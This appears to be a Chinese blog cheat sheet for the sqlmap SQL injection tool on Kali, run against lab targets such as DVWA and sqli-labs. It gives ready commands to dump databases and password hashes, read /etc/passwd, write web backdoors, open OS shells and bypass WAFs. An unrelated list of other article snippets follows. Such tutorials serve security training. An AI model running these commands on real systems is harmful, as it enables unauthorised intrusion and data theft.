sqlmap 使用笔记(kali环境)

sqlmap使用

kali环境

  • -u或–url

    直接扫描单个路径

    //如果需要登录要有cookie
    sqlmap -u "http://10.0.0.6:8080/vulnerabilities/sqli/?id=1" 
    --cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir;
    security=low"
    
  • -m

    文件中保存多个url,工具会依次扫描

    url1
    url2
    url3
    
  • -r

    从文件中获取http请求

    sqlmap -r text.txt 
    

    在这里插入图片描述

    文件内容直接copy

    当请求是HTTPS的时候,需要配合–force-ssl参数来使用,或者可以在Host头后面加上:443

  • 请求设置

    --method:指定请求方法
    --data:把数据以POST方式提交
    --param:当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数
    --cookie:设置cookie,提交请求的时候附带所设置的cookie
    --load-cookies:从文件获取cookie
    --user-agent:可以使用–user-anget参数来修改
    --headers:可以通过–headers参数来增加额外的http头
    --proxy:设置代理,可以避免本机地址被封禁
    --delay:可以设定两个HTTP(S)请求间的延迟 防止发送过快导致被封ip
    --random-agent:使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。当–level
    参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。
    --referer:在请求目标的时候可以自己伪造请求包中的referer
    –-level参数设定为3或者3以上的时候会尝试对referer注入。
    
    以POST方式提交
    sqlmap -u "url" --data="id=1"
    
    正则过滤目标网址
    --scope="(www)?\.target\.(com|net|org)"
    
    --safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
    --safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。
    
    -o 开启所有优化开关
    
    -p:设置想要测试的参数  -p "id,user-anget" 请求里面的参数
    --skip:不想要测试的参数可以通过 skip设置跳过  --skip="user-agent,referer"
    --dbms:指定数据库 节省sqlmap自己检测的时间
    --os:指定数据库服务系统 节省sqlmap自己检测的时间
    --tamper:使用sqlmap自带的tamper(脚本),或者自己写的tamper,来混淆payload,通常用来绕过
    waf和ips。
    

    在有些时候web服务器使用了伪静态,导致无法直接使用sqlmap测试参数,可以在想测试的参数后面加*

    "http://magedu/param1/value1*/param2/value2/"
    
  • 信息

    -a, --all 获取所有信息
    -b, --banner 获取数据库管理系统的标识
    --current-user 获取数据库管理系统当前用户
    --current-db 获取数据库管理系统当前数据库
    --hostname 获取数据库服务器的主机名称
    --is-dba 检测DBMS当前用户是否DBA(数据库管理员)
    --users 枚举数据库管理系统用户
    --passwords 枚举数据库管理系统用户密码哈希
    --privileges 枚举数据库管理系统用户的权限
    --roles 枚举数据库管理系统用户的角色
    --dbs 枚举数据库管理系统数据库
    --tables 枚举的DBMS数据库中的表
    --columns 枚举DBMS数据库表列
    --schema 枚举数据库架构
    --count 检索表的项目数
    --dump 转储数据库表项,即下载
    --dump-all 转储数据库所有表项
    --search 搜索列(S),表(S)和/或数据库名称(S)
    --comments 获取DBMS注释
    -D DB 要进行枚举的指定数据库名
    -T TBL DBMS数据库表枚举
    -C COL DBMS数据库表列枚举
    -X EXCLUDECOL DBMS数据库表不进行枚举
    -U USER 用来进行枚举的数据库用户
    --exclude-sysdbs 枚举表时排除系统数据库
    --pivot-column=P.. Pivot columnname
    --where=DUMPWHERE Use WHEREcondition while table dumping
    --start=LIMITSTART 获取第一个查询输出数据位置
    --stop=LIMITSTOP 获取最后查询的输出数据
    --first=FIRSTCHAR 第一个查询输出字的字符获取
    --last=LASTCHAR 最后查询的输出字字符获取
    --sql-query=QUERY 要执行的SQL语句
    --sql-shell 提示交互式SQL的shell
    --sql-file=SQLFILE 要执行的SQL文件
    
  • 爆破

    --common-tables 检查存在共同表
    --common-columns 检查存在共同列
    User-defined function injection(用户自定义函数注入):
    --udf-inject 注入用户自定义函数
    --shared-lib=SHLIB 共享库的本地路径
    
  • 访问文件

    --file-read=RFILE 从后端的数据库管理系统读取文件
    --file-write=WFILE 上传文件到后端的数据库管理系统
    --file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
    
    --file-read "/etc/passwd"
    --file-write="/opt/test_code/user.txt" 
    --filedest="/var/www/html/user.txt"
    
  • 访问数据库

    --os-cmd=OSCMD 执行操作系统命令
    --os-shell 交互式的操作系统的shell
    --os-pwn 获取一个OOB shell,meterpreter或VNC
    --os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
    --os-bof 存储过程缓冲区溢出利用
    --priv-esc 数据库进程用户权限提升
    --msf-path=MSFPATH Metasploit Framework 本地的安装路径
    --tmp-path=TMPPATH 远程临时文件目录的绝对路径
    
  • 操作

    找出数据库
    sqlmap -r text.txt -p id --dbs
    
    使用-D,-T参数指定想要获取哪个库的哪个表,不使用-D参数时,默认使用当前库
    找出数据库所有得表
    sqlmap -r text.txt -D dvwa --tables
    
    找出表的所有字段
    sqlmap -r text.txt -D dvwa -T users --columns
    
    找出数据,-D dvwa(数据库) -T users(表) -C last_name,password(字段)
    sqlmap -r text.txt -D dvwa -T users -C last_name,password --dump
    
    参数:--dump-all,--exclude-sysdbs
    使用--dump-all参数获取所有数据库表的内容,可同时加上--exclude-sysdbs排除系统数据库,只获取用户数据库的表,即业务数据
    

    参数:–os-cmd,–os-shell
    用–os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。
    当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL时),仍然可能使用INTO OUTFILE
    写进可写目录,来创建一个web后门

  • 爬虫

    爬行网站URL
    参数:--crawl
    sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。此时的URL可以不带参数
    

    “–batch”命令来自动答复和判断

    –crawl=3 3为深度

    参数:–dump-format
    输出的格式可定义为:CSV,HTML,SQLITE

    参数:–output-dir
    sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:–
    output-dir=/tmp

补充

sqlmap -r http.txt  #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username  #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   #探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie="抓取的cookie"   #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users      #查看数据库的所有用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords  #查看数据库用户名的密码
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user  #查看数据库当前的用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba    #判断当前用户是否有管理员权限
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles     #列出数据库所有管理员角色,仅适用于oracle数据库的时候

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --dbs        #爆出所有的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --tables     #爆出所有的数据表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --columns    #爆出数据库中所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --current-db #查看当前的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  #爆出数据库security中的users表中的username列中的所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tamper=space2comment.py  #指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell  #执行指定的sql语句
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell/--os-cmd   #执行--os-shell命令,获取目标服务器权限

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write  test.txt  --file-dest "e:/hack.txt"  #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms="MySQL"     #指定其数据库为mysql Firebird, HSQLDB, IBM DB2, Informix, Microsoft Access, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, SAP MaxDB, SQLite, Sybase
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="http://127.0.0.1:8080"    #指定代理
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T    #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
  B: Boolean-based blind SQL injection(布尔型注入)
  E: Error-based SQL injection(报错型注入)
  U: UNION query SQL injection(可联合查询注入)
  S: Stacked queries SQL injection(可多语句查询注入)
  T: Time-based blind SQL injection(基于时间延迟注入)

-v3                   #输出详细度  最大值5 会显示请求包和回复包
--threads 5           #指定线程数
--fresh-queries       #清除缓存
--flush-session       #清空会话,重构注入
--batch               #对所有的交互式的都是默认的
--random-agent        #任意的http头
--tamper base64encode            #对提交的数据进行base64编码
--referer http://www.baidu.com   #伪造referer字段

--keep-alive     保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数

sqlmap -u  "http://192.168.10.1/sqli/Less-1/?id=1"  #探测该url是否存在漏洞


//需要登录的
sqlmap -u  "http://192.168.10.1/sqli/Less-1/?id=1"   --cookie="抓取的cookie"  #探测该url是否存在漏洞

 "http://192.168.10.1/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入

 --identify-waf   检测是否有WAF

 //直接获取shell(当前sql用户有写入权限)
 sqlmap -u "http://rykm6453.ia.aqlab.cn/single.php?id=1" --random-agent --os-shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/383729.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

前后端分离好处多多,怕就怕分工不分人,哈哈

前后端分离倡导多年了,现在基本成为了开发的主流模式了,贝格前端工场承接的前端项目只要不考虑seo的,都采用前后端分离模式,这篇文章就来介绍一下前后端分离模式。 一、什么是前后端分离开发模式 前后端分离是一种软件开发的架构…

Linux第46步_通过“添加自定义菜单”来学习menuconfig图形化配置原理

通过“添加自定义菜单”来学习menuconfig图形化配置原理,将来移植linux要用到。 自定义菜单要求如下: ①、在主界面中添加一个名为“My test menu”,此菜单内部有一个配置项。 ②、配置项为“MY TESTCONFIG”,此配置项处于菜单“My test m…

第六篇【传奇开心果系列】Vant of Vue 开发移动应用示例:深度解析响应式布局支持

传奇开心果系列 系列博文目录Vant开发移动应用示例系列 博文目录前言一、Vant响应式布局介绍二、媒体查询实现响应式布局示例代码三、短点设置实现响应式布局示例代码四、响应式工具类实现响应式布局示例代码五、栅格系统实现响应式布局示例代码六、响应式组件实现响应式布局示…

ubuntu彻底卸载cuda 重新安装cuda

sudo apt-get --purge remove "*cublas*" "*cufft*" "*curand*" \"*cusolver*" "*cusparse*" "*npp*" "*nvjpeg*" "cuda*" "nsight*" cuda10以上 cd /usr/local/cuda-xx.x/bin/ s…

python 基础知识点(蓝桥杯python科目个人复习计划38)

今日复习内容:DFS的剪枝 我理解的剪枝,和《运筹学》里面“分支定界法”的剪枝操作一样,不停按照题目所给条件分割,当所得目标函数的值已偏离最优解时,就将其减去。 例题1:数字王国之军训排队 题目描述&a…

MySQL篇----第二十一篇

系列文章目录 文章目录 系列文章目录前言一、什么是乐观锁二、什么是悲观锁三、什么是时间戳四、什么是行级锁前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女通用,看懂了就去分享给你的码吧。 一、…

C#系列-Entity Framework 架构(18)

下图展示了EF的整体架构。现在让我们逐个地看看架构的各个组件: EF组件图 EDM(Entity Data Mode 实体数据模型):EDM 由三个主要部分组成:概念模型,映射和存储模型。 Conceptual Model(概念模型&#xff0…

【深度优先搜索】【树】【图论】2973. 树中每个节点放置的金币数目

作者推荐 视频算法专题 本博文涉及知识点 深度优先搜索 树 图论 分类讨论 LeetCode2973. 树中每个节点放置的金币数目 给你一棵 n 个节点的 无向 树,节点编号为 0 到 n - 1 ,树的根节点在节点 0 处。同时给你一个长度为 n - 1 的二维整数数组 edges…

【Linux技术宝典】Linux入门:揭开Linux的神秘面纱

文章目录 官网Linux 环境的搭建方式一、什么是Linux?二、Linux的起源与发展三、Linux的核心组件四、Linux企业应用现状五、Linux的发行版本六、为什么选择Linux?七、总结 Linux,一个在全球范围内广泛应用的开源操作系统,近年来越来…

深入学习《大学计算机》系列之第1章 1.7节——图灵机的一个例子

一.欢迎来到我的酒馆 第1章 1.7节,图灵机的一个例子。 目录 一.欢迎来到我的酒馆二.图灵机2.1 艾伦-图灵简介2.2 图灵机简介 三.图灵机工作原理3.1 使用图灵机打印二进制数3.2 图灵机工作原理总结 四.总结 二.图灵机 本节内容主要介绍计算机科学之父——艾伦-图灵、…

【CC++】内存管理2:new + delete

前言 今天继续来学new和delete operator new 与operator delete函数 new和delete是用户进行动态内存申请和释放的操作符,operator new 和operator delete是系统提供的全局函数,new在底层调用operator new全局函数来申请空间,delete在底层通…

OpenCV入门:图像处理的基石

在数字图像处理领域,OpenCV(开源计算机视觉库)是一个不可或缺的工具。它包含了一系列强大的算法和函数,使得开发者可以轻松地处理图像和视频数据。本文将带你走进OpenCV的世界,了解其基本概念和常见应用。 1. OpenCV简…

【开源】基于JAVA+Vue+SpringBoot的公司货物订单管理系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 客户管理模块2.2 商品维护模块2.3 供应商管理模块2.4 订单管理模块 三、系统展示四、核心代码4.1 查询供应商信息4.2 新增商品信息4.3 查询客户信息4.4 新增订单信息4.5 添加跟进子订单 五、免责说明 一、摘要 1.1 项目…

锐捷(十九)锐捷设备的接入安全

1、PC1的IP地址和mac地址做全局静态ARP绑定; 全局下:address-bind 192.168.1.1 mac(pc1) G0/2:ip verify source port-securityarp-check 2、PC2的IP地址和MAC地址做全局IPMAC绑定: Address-bind 192.168.1.2 0050.7966.6807Ad…

Hugging Face 刚刚推出了一款开源的 AI 助手制造工具,直接向 OpenAI 的定制 GPT 挑战

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗?订阅我们的简报,深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同,从行业内部的深度分析和实用指南中受益。不要错过这个机会,成为AI领…

MMKV:轻巧高效的跨平台键值存储解决方案

MMKV:轻巧高效的跨平台键值存储解决方案 引言 在移动应用的开发中,数据存储是一个至关重要的环节。随着移动应用的普及和功能的增多,应用需要存储和管理各种类型的数据,包括用户配置信息、缓存数据、临时状态等。传统的数据存储…

Ubuntu Desktop 删除文件

Ubuntu Desktop 删除文件 1. right mouse click on the file -> Move to Trash2. right mouse click on the file -> DeleteReferences 1. right mouse click on the file -> Move to Trash ​ 2. right mouse click on the file -> Delete ​​​ References …

Unity Meta Quest MR 开发(四):使用 Scene API 和 Depth API 实现深度识别和环境遮挡

文章目录 📕教程说明📕Scene API 实现遮挡📕Scene API 实现遮挡的缺点📕Depth API 实现遮挡⭐导入 Depth API⭐修改环境配置⭐添加 EnvironmentDepthOcclusion 预制体⭐给物体替换遮挡 Shader⭐取消现实手部的遮挡效果 此教程相关…

C++ //练习 5.6 改写上一题的程序,使用条件运算符(参见4.7节,第134页)代替if else语句。

C Primer(第5版) 练习 5.6 练习 5.6 改写上一题的程序,使用条件运算符(参见4.7节,第134页)代替if else语句。 环境:Linux Ubuntu(云服务器) 工具:vim 代码…

blender怎么保存窗口布局,怎么设置默认输出文件夹

进行窗口布局大家都会,按照自己喜好来就行了,设置输出文件夹如图 这些其实都简单。关键问题在于,自己调好了窗口布局,或者设置好了输出文件夹之后,怎么能让blender下次启动的时候呈现出自己设置好的窗口布局&#xff…